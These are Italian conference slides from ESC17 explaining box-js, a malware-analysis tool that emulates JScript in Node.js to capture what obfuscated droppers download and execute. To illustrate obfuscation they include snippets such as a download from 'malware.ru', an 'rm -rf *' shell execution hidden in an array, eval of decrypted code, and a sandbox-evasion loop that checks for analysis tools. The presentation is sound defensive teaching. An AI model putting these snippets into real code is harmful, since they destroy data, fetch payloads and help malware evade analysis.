@CapacitorSet
Queste slide sono state presentate a ESC17, e illustrano il funzionamento di box-js a grandi linee.
Attenzione: molte slide si sviluppano verso il basso, non verso destra.
Alcune slide sono corredate di "speaker notes" (appunti personali non visibili al pubblico), che compariranno in un riquadro grigio.
Codice originale: presente, ma illeggibile
Codice formattato
Codice equivalente, ma meno leggibile
download("http://malware.ru/") | download(base64decode("...")) | Uso di codifiche |
beEvil(); | code = decrypt("..."); eval(code) | Uso di crittografia (XOR) |
shell.Execute("rm -rf *"); | things = ["rm -rf *", "Execute"]; shell[things[1]](things[0]); | Costanti → variabili in array |
I malware adottano misure contro l'analisi automatica:
processi = GetObject("WinMgmts:").InstancesOf("Win32_Process")
isVM = false;
for (i = 0; i < processi.length; i++) {
if (processi[i] == "Wireshark.exe") isVM = true;
if (processi[i] == "OllyDbg.exe") isVM = true;
if (processi[i] == "...") isVM = true;
}
if (!isVM) {
// ...
}
Emuliamo l'ambiente Javascript |
Microsoft JScript è un dialetto di JavaScript
Un qualsiasi motore JavaScript può eseguire JScript, con delle modifiche
Quale motore? Node.js (V8). Sviluppato da Google, funziona da riga di comando, stesso motore di Chrome
Vogliamo creare librerie "finte", che emulano quelle reali e catturano informazioni
Sono versioni fittizie (stub) dei componenti ActiveX che ci interessano
Sembrano funzionare correttamente, ma "registrano" le interazioni:
class XMLHTTP {
download(url) {
headers["User-Agent"] = "Internet Explorer 6.0";
print(`Nuova richiesta a ${url}`);
output = request("GET", url);
print(`Ho scaricato ${output.length} byte.`);
print("Tipo di file: " + identify(output));
return output;
}
}
Dissezioniamo il codice e aggiungiamo dei pezzi
eval(pippo.decrypt() + "unknown code")
eval(rewrite(pippo.decrypt() + "unknown code"))
Nota per il lettore: in questa fase, apro un terminale, do il comando per analizzare un sample, e spiego l'output di box-js. In particolare, provo prima l'analisi offline e poi quella con --download, dove faccio vedere che il secondo stadio viene scaricato correttamente, infine carico il secondo stadio su VirusTotal e verifico che è malevolo.
Nella pratica:
Esigenza: creare un ambiente isolato, e facile da riprodurre
Usiamo i container di Docker: isolati dall'host, istanziati con un semplice comando:
docker run CapacitorSet/box-js \ # Nome immagine
--volume ~/sample.js:/samples/ \ # Cartelle condivise
--env "QUEUE_IP=172.17.0.1" # Variabili d'ambiente
Esigenza: gestire una coda di sample da analizzare, con diversi worker
Con RabbitMQ creiamo una work queue
Approccio facilmente scalabile: possiamo aggiungere e togliere worker a piacimento
Scenario tipico: ricercatore/azienda nel campo della malware analysis
L'utente estrae velocemente i secondi stadi, in forma di URL o di file, e li può analizzare con VirusTotal/Malwr/altre sandbox
In sintesi: l'emulazione semplifica e velocizza l'analisi del primo stadio dell'infezione, e produce analisi più accurate
Il mio progetto di malware analysis:
https://github.com/CapacitorSet/box-js